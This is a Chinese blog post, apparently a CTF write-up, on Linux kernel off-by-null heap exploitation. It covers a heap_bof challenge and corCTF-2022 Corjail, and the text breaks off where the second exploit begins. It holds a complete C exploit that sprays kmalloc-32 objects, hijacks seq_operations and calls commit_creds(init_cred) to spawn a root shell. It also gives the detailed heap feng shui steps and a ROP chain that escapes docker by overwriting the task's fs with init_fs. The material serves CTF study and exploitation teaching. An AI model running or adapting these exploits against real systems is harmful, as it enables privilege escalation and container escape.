当前位置: 首页 > 技术干货 > Linux kernel 堆溢出利用方法(二)

Linux kernel 堆溢出利用方法(二)

发表于:2024-11-11 16:03 作者: Jelasin 阅读数(2541人)

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kerneloff-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?

利用思路

boot.sh

#!/bin/bash

qemu-system-x86_64 \
 -initrd rootfs.img \
 -kernel bzImage \
 -m 1G \
 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
 -monitor /dev/null \
 -s \
 -cpu kvm64 \
 -smp cores=1,threads=2 \
 --nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {
int fd;
short events;
short revents;
};

struct poll_list {
   struct poll_list *next; // 指向下一个poll_list
   int len; // 对应于条目数组中pollfd结构的数量
   struct pollfd entries[]; // 存储pollfd结构的数组
};

poll_list 结构如下图所示,前 30poll_fd 在栈上,后面的都在堆上,最多 510poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC    256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{

   struct poll_wqueues table;
   int err = -EFAULT, fdcount, len;
   /* Allocate small arguments on the stack to save memory and be
      faster - use long to make sure the buffer is aligned properly
      on 64 bit archs to avoid unaligned access */
               
   /*
   * [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
   */
   long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
   struct poll_list *const head = (struct poll_list *)stack_pps;
   struct poll_list *walk = head;
unsigned long todo = nfds;

if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len = min_t(unsigned int, nfds, N_STACK_PPS);

for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;

if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
goto out_fds;

todo -= walk->len;
if (!todo)
break;
       /*
       * [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
       * 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
       * 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
       */
len = min(todo, POLLFD_PER_PAGE);
       /*
       *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
       */
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}

poll_initwait(&table);
   /*
   * [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
   *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
   */
fdcount = do_poll(head, &table, end_time);  
poll_freewait(&table);

if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;

for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;

for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();

err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}

return err;

Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}

我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。

详细流程

  1. 首先分配 kmalloc-4096 大小的结构题在ptr[0]

  2. 然后构造这样的poll_list结构体。

  3. 利用off-by-nullpoll_list->next的最后一个字节改为空。然后大量分配kmalloc-32obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

  4. 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

  5. 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199

char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];

#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000

struct param {
   size_t len;        // 内容长度
   char *buf;         // 用户态缓冲区地址
   unsigned long idx; // 表示 ptr 数组的 索引
};

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
   __asm__("mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_sp, rsp;"
           "pushf;"
           "pop user_rflags;");
   puts("[*] status has been saved.");
}

void get_shell(void) {
   system("/bin/sh");
}

void qword_dump(char *desc, void *addr, int len) {
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
  }
   for (int i = 0; i < len / 8; i += 4) {
       printf(" %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
      }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
      }
       puts("");
  }
}

/*--------------------------------------------------------------------------------------------------*/

struct callback_head {
   struct callback_head *next;
   void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                   __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
   struct rcu_head rcu;        /* RCU destructor */
   unsigned short datalen;    /* length of this data */
   char data[0] __aligned(__alignof__(u64)); /* actual data */
};

int key_alloc(int id, void *payload, int payload_len) {
   char description[0x10] = {};
   sprintf(description, "pwn_%d", id);
   return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
   return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
   return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
   return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
   return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

/*--------------------------------------------------------------------------------------------------*/

pthread_t tid[40];

typedef struct {
   int nfds, timer;
} poll_args;

struct poll_list {
   struct poll_list *next;
   int len;
   struct pollfd entries[];
};

void* alloc_poll_list(void *args) {
   int nfds = ((poll_args *) args)->nfds;
   int timer = ((poll_args *) args)->timer;

   struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
   for (int i = 0; i < nfds; i++) {
       pfds[i].fd = open("/etc/passwd", O_RDONLY);
       pfds[i].events = POLLERR;
  }
   poll(pfds, nfds, timer);
}

void* create_poll_list(size_t size, int timer, int i) {
   poll_args *args = calloc(1, sizeof(poll_args));
   args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
   args->timer = timer;

   pthread_create(&tid[i], NULL, alloc_poll_list, args);
}

/*--------------------------------------------------------------------------------------------------*/

struct list_head {
   struct list_head *next, *prev;
};
struct tty_file_private {
   struct tty_struct *tty;
   struct file *file;
   struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
   struct page *page;
   unsigned int offset, len;
   const struct pipe_buf_operations *ops;
   unsigned int flags;
   unsigned long private;
};

struct pipe_buf_operations {
   int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
   void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

/*--------------------------------------------------------------------------------------------------*/

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;

size_t kernel_offset;
void get_root() {
   __asm__(
       "mov rax, [rsp + 8];"
       "mov kernel_offset, rax;"
  );
   kernel_offset -= 0xffffffff81229378;
   commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
   init_cred = (void *) ((size_t) init_cred + kernel_offset);
   commit_creds(init_cred);
   __asm__(
       "swapgs;"
       "push user_ss;"
       "push user_sp;"
       "push user_rflags;"
       "push user_cs;"
       "push user_rip;"
       "iretq;"
  );
}

/*--------------------------------------------------------------------------------------------------*/

int main() {
   save_status();
   signal(SIGSEGV, (void *) get_shell);
   bof_fd = open("dev/bof", O_RDWR);
   int seq_fd[SEQ_NUM];

   printf("[*] try to alloc_kmalloc-4096\n");
   size_t* mem = malloc(0x1010);
   memset(mem, '\xff', 0x1010);
   struct param p = {0x1000, (char*)mem, 0};
   ioctl(bof_fd, BOF_MALLOC, &p);

   printf("[*] try to spary kmalloc-32\n");
   p.len = 0x20;
   for (int i = 1; i < 20; ++i)
  {
       p.idx = i;
       memset(mem, i, 0x20);
       memset(mem, 0, 0x18);
       ioctl(bof_fd, BOF_MALLOC, &p);
       ioctl(bof_fd, BOF_EDIT, &p);
  }

   printf("[*] try to alloc_poll_list\n");
   for (int i = 0; i < 14; ++i)
  {
       create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
  }

   printf("[*] try to spary kmalloc-32\n");
   p.len = 0x20;
   for (int i = 20; i < 40; ++i)
  {
       p.idx = i;
       memset(mem, i, 0x20);
       memset(mem, 0, 0x18);
       ioctl(bof_fd, BOF_MALLOC, &p);
       ioctl(bof_fd, BOF_EDIT, &p);
  }

   sleep(1);
// 调试用代码
//   p.len = 0x1010;
//   p.idx = 0;
//   ioctl(bof_fd, BOF_READ, &p);

//   printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);

   p.len = 0x1001;
   p.idx = 0;
   memset(mem, '\x00', 0x1001);
   ioctl(bof_fd, BOF_EDIT, &p);

   void *res;
   for (int i = 0; i < 14; ++i)
  {
       printf("[*] wating for poll end\n");
       pthread_join(tid[i], &res);
  }

   for (int i = 0; i < 256; ++i)
  {
       seq_fd[i] = open("/proc/self/stat", O_RDONLY);
  }

   sleep(1);

   for (int i = 1; i < 40; ++i)
  {
       p.idx = i;
       p.len = 0x20;

       ioctl(bof_fd, BOF_READ, &p);
       printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
       printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
       printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
       printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);

       mem[0] = (size_t*)get_root;
       mem[1] = (size_t*)get_root;
       mem[2] = (size_t*)get_root;
       mem[3] = (size_t*)get_root;
       ioctl(bof_fd, BOF_EDIT, &p);
  }

   for (int i = 1; i < 40; ++i)
  {
       p.idx = i;
       p.len = 0x20;

       ioctl(bof_fd, BOF_READ, &p);
       printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
       printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
       printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
       printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
  }



   for (int i = 0; i < 256; i++) {
       read(seq_fd[i], p.buf, 1);
  }

   return 0;
}

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \
   -m 1G \
   -nographic \
   -no-reboot \
   -kernel bzImage \
   -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
   -hda coros.qcow2 \
   -snapshot \
   -monitor /dev/null \
   -cpu qemu64,+smep,+smap,+rdrand \
   -smp cores=4 \
   --enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service

Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

 cat /usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc

chmod -r 0700 /home/$USER

mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

/usr/bin/docker run -it --user user \
--hostname CoRJail \
   --security-opt seccomp=/etc/docker/corjail.json \
   -v /proc/cormon:/proc_rw/cormon:rw corcontainer

/bin/bash

/usr/sbin/poweroff -f

发现其启动rootshell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试,我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail 
><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

cp /exploit /home/user || echo "[!] exploit not found, skipping"

chown -R user:user /home/user

echo 0 > /proc/sys/kernel/kptr_restrict

/usr/bin/docker run -it --user root \
 --hostname CoRJail \
 --security-opt seccomp=/etc/docker/corjail.json \
 # 允许容器能够调用与日志相关的系统调用
 --cap-add CAP_SYSLOG \
 # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
 -v /proc/cormon:/proc_rw/cormon:rw \
 # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
 -v /home/user/:/home/user/host \
corcontainer

/bin/bash

/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

><fs> help upload
NAME
  upload - upload a file from the local machine

SYNOPSIS
    upload filename remotefilename

DESCRIPTION
  Upload local file filename to remotefilename on the filesystem.

  filename can also be a named pipe.

  See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@

#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
static long __do_sys_##sname(const struct pt_regs *__unused); \
__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>

#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif

-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
@@ -219,9 +220,41 @@

#define SYSCALL_DEFINE_MAXARGS 6

-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)

#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)

diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}

-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@

return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);

const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@

return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);

static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。


seccomp.json 保存了系统调用的白名单。

{
"defaultAction": "SCMP_ACT_ERRNO",
"defaultErrnoRet": 1,
"syscalls": [
{
"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [ "clone" ],
"action": "SCMP_ACT_ALLOW",
"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
}
]
}

根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon 

    CPU0     CPU1     CPU2     CPU3 Syscall (NR)

        9        16        25        18 sys_poll (7)
        0         0         0         0 sys_fork (57)
       66        64        79        60 sys_execve (59)
        0         0         0         0 sys_msgget (68)
        0         0         0         0 sys_msgsnd (69)
        0         0         0         0 sys_msgrcv (70)
        0         0         0         0 sys_ptrace (101)
       15        19        11         6 sys_setxattr (188)
       27        24        11        20 sys_keyctl (250)
        0         0         2         2 sys_unshare (272)
        0         1         0         0 sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon

    CPU0     CPU1     CPU2     CPU3 Syscall (NR)

        0         0         0         0 sys_msgsnd (69)
        0         0         0         0 sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
   loff_t offset = *ppos;
   char *syscalls;
   size_t len;

   if (offset < 0)
       return -EINVAL;

   if (offset >= PAGE_SIZE || !count)
       return 0;

   len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

   syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
   printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

   if (!syscalls)
  {
       printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
       return -ENOMEM;
  }

   if (copy_from_user(syscalls, ubuf, len))
  {
       printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
       return -EFAULT;
  }

   syscalls[len] = '\x00';

   if (update_filter(syscalls))
  {
       kfree(syscalls);
       return -EINVAL;
  }

   kfree(syscalls);

   return count;
}

利用思路

poll_list 利用方式中:

  • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload

  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

详细流程如下:

首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {
   cpu_set_t cpu_set;
   CPU_ZERO(&cpu_set);
   CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
   if (thread) {
       pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
  } else {
       sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  }
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20poll_list

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_listnext 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_listnext 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
[...]
if (size) {
[...]
kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
if (!kvalue)
return -ENOMEM;
       // 修改kmalloc-x内容
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
[...]
}

error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // 释放kmalloc-x

return error;
}

另外实测 kmalloc-32freelist 偏移为 16 字节,不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};

struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object

释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payloadpoll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_listnext 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct

int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;

priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;

file->private_data = priv;

return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};


poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer

struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

具体实现为修改 task_structfs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns()seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct

    // commit_creds(&init_creds)
   *rop++ = pop_rdi_ret;
   *rop++ = init_cred;
   *rop++ = commit_creds;

   // current = find_task_by_vpid(getpid())
   *rop++ = pop_rdi_ret;
   *rop++ = getpid();
   *rop++ = find_task_by_vpid;

   // current->fs = &init_fs
   *rop++ = pop_rcx_ret;
   *rop++ = 0x6e0;
   *rop++ = add_rax_rcx_ret;
   *rop++ = pop_rbx_ret;
   *rop++ = init_fs;
   *rop++ = mov_mmrax_rbx_pop_rbx_ret;
   rop++;

exp

#ifndef _GNU_SOURCE
